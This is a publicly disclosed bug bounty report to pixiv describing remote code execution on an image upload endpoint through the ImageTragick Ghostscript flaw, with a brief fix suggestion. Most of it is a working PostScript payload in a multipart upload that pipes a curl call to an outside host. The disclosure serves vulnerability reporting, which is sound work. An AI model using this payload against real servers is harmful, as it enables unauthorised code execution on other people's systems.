HexBrain

pixiv · Report #402362

RCE due to ImageTragick v2

Validstatus
criticalseverity
$2,000bounty
44upvotes
16 Mar 2021disclosed

How it was found

Hello Pixiv team! Your Image processing process suffering from ImageTragick v2. Issue is caused by ghostscript RCE findnings.

How to reproduce: PATCH /design Host: manage.booth.pm

send following image:

------WebKitFormBoundaryXX05yrKS4g8d9CWh
Content-Disposition: form-data; name="shop[header]"; filename="imagetragick.jpeg"
Content-Type: image/jpeg

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%curl https://avtohanter.ru/qwetest) currentdevice putdeviceprops
------WebKitFormBoundaryXX05yrKS4g8d9CWh--

How to fix: Update ImageMagick, should help

Impact

Remote Code Execution

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original